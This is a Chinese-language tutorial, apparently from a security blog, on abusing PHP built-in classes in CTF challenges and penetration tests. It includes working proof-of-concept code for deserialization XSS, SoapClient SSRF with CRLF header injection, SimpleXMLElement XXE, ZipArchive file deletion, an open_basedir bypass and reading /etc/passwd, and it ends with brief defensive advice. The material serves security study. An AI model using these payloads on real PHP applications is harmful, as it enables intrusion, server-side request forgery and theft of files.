浅析php原生类
字数 1244 2025-08-29 08:32:18
PHP原生类在安全测试中的应用详解
一、PHP原生类概述
PHP原生类是指PHP内置的标准类库,在CTF和安全测试中可以利用这些类实现多种攻击手法,包括XSS、反序列化、SSRF、XXE和文件读取等。本文将详细介绍这些利用方式。
二、常见可利用的原生类
1. Error/Exception类 - XSS利用
Error类(XSS)
- 适用环境: PHP7版本,开启报错的情况下
- 利用原理: Error类内置
__toString()方法,可用于反序列化XSS
// 测试代码
$a = unserialize($_GET['name']);
echo $a;
// POC生成
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
Exception类(XSS)
- 适用环境: PHP5、PHP7版本,开启报错的情况下
- 利用方式:
// 测试代码
$a = unserialize($_GET['name']);
echo $a;
// POC生成
$a = new Exception("<script>alert('xss2')</script>");
$b = serialize($a);
echo urlencode($b);
2. SoapClient类 - SSRF利用
基本特性
- 适用版本: PHP5, PHP7, PHP8
- 功能: 专门用来访问web服务的类
- 关键方法:
__call方法被触发后可发送HTTP/HTTPS请求
构造函数
public SoapClient::SoapClient(mixed $wsdl [,array $options ])
- 第一个参数设为null表示非wsdl模式
- 非wsdl模式下必须设置location和uri选项
实战案例(Web259)
// 目标代码
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
// POC构造
$ua = "z3eyond\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array(
'uri' => 'http://127.0.0.1/',
'location' => 'http://127.0.0.1/flag.php',
'user_agent' => $ua
));
print_r(urlencode(serialize($client)));
3. SimpleXMLElement类 - XXE利用
基本特性
- 适用版本: PHP5, PHP7, PHP8
- 功能: 用于解析XML文档中的元素
关键参数
SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $data_is_url = false,
string $namespace_or_prefix = "",
bool $is_prefix = false
)
- 设置
$data_is_url为true可实现远程XML文件载入 $options参数设置为2
实战案例([SUCTF 2018]Homework)
// 利用方式
$xml = new SimpleXMLElement($payload, 2, true);
4. ZipArchive类 - 文件删除
基本特性
- 适用环境: PHP5 >= 5.2.0, PHP7, PHP8, PECL zip >= 1.1.0
- 关键方法:
ZipArchive::OVERWRITE(值为8): 覆盖或删除现有文件ZipArchive::open(): 打开zip存档
实战案例
// 删除waf.txt的POC
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = ZipArchive::OVERWRITE;
echo base64_encode(serialize($poc));
三、文件操作类
1. 文件目录遍历类
DirectoryIterator类
// 基本用法
$dir = new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
}
// 绕过open_basedir
$dir = new DirectoryIterator("glob:///*");
foreach($dir as $f){
echo($f.'<br>');
}
FilesystemIterator类
$iterator = new FilesystemIterator("/");
foreach($iterator as $fileinfo){
echo $fileinfo->getFilename()."<br>";
}
GlobIterator类
$iterator = new GlobIterator("/*");
foreach($iterator as $fileinfo){
echo $fileinfo->getFilename()."<br>";
}
2. 文件读取类
SplFileObject类
$file = new SplFileObject("/etc/passwd");
foreach($file as $line){
echo $line;
}
四、反射类
ReflectionMethod类
// 获取类方法信息
$reflection = new ReflectionMethod('ClassName', 'methodName');
echo $reflection;
五、其他有用原生类
1. 日期时间类
- DateTime
- DateTimeImmutable
- DateTimeZone
- DateInterval
- DatePeriod
2. SPL库类
- SplFileInfo
- SplTempFileObject
- SplFixedArray
3. 数据库相关类
- PDO
- PDOStatement
- mysqli_sql_exception
六、防御措施
- 禁用不必要的PHP扩展
- 严格过滤反序列化输入
- 设置合理的open_basedir限制
- 关闭不必要的错误显示
- 对用户输入进行严格过滤
七、参考资源
通过深入理解这些PHP原生类的特性和利用方式,可以在安全测试和CTF比赛中更有效地发现和利用漏洞。